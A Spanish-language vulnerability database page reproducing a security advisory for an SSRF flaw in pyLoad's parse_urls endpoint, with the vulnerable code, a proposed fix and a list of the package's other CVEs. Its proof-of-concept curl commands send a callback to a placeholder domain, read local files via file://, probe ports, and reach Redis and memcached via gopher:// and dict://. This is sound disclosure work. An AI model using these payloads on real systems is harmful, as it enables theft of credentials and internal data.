Alta

pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter

  • Publicada: 04.04.2026
  • Actualizado: 11.10.2026 14:17

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

bash
CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

bash
curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

bash
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}

# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable:

  • /etc/passwd, /etc/hosts
  • /proc/self/environ (process environment variables)
  • /config/settings/pyload.cfg (pyLoad configuration)
  • /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

bash
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

bash
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

python
from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pyload-ng <= 0.5.0b3.dev96 sin corrección

Referencias

Puntuación CVSS 7.7/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Debilidad (CWE)
CWE-918
Plataforma
Python (PyPI)
Paquete
pyload-ng
Publicada
04.04.2026
Actualizado
11.10.2026 14:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2988 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-2wvg-62qm-gj33 - CC BY 4.0

Historial de vulnerabilidades: pyload-ng

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (58) en el archivo
Entradas en total
58
Primera → última
01.2023 10.2026
Sin corrección
24
Explotada en ataques
0

Distribución por gravedad

  • Crítica 9
  • Alta 23
  • Media 25
  • Baja 1

Divulgaciones por año

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Gravedad:
  1. Alta · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 sin corrección
  2. Alta · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. Alta · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. Alta · 8.8 CVE-2026-41133 <= 0.5.0b3.dev97 sin corrección
  5. Alta · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 sin corrección
  6. pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter esta entrada
    Alta · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 sin corrección
  7. Alta · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  8. Alta · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  9. Alta CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
  10. Alta · 7.5 CVE-2025-54140 >= 0.5.0b3.dev89, < 0.5.0b3.dev90 0.5.0b3.dev90
  11. Crítica · 9.8 CVE-2025-53890 < 0.20 0.20
  12. Crítica · 9.8 CVE-2024-39205 <= 0.5.0b3.dev85 sin corrección
  13. Crítica · 9.1 CVE-2024-32880 <= 0.5.0 sin corrección
  14. Crítica · 9.6 CVE-2024-22416 < 0.5.0b3.dev78 0.5.0b3.dev78
  15. Alta · 7.5 CVE-2024-21644 < 0.5.0b3.dev77 0.5.0b3.dev77
  16. Alta · 7.6 CVE-2023-47890 < 0.5.0b3.dev75 0.5.0b3.dev75
  17. Alta · 7.4 CVE-2023-0509 < 0.5.0b3.dev44 0.5.0b3.dev44
  18. Crítica · 9.8 CVE-2023-0435 < 0.5.0b3.dev41 0.5.0b3.dev41
  19. Crítica · 9.8 CVE-2023-0297 < 0.5.0b3.dev31 0.5.0b3.dev31

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.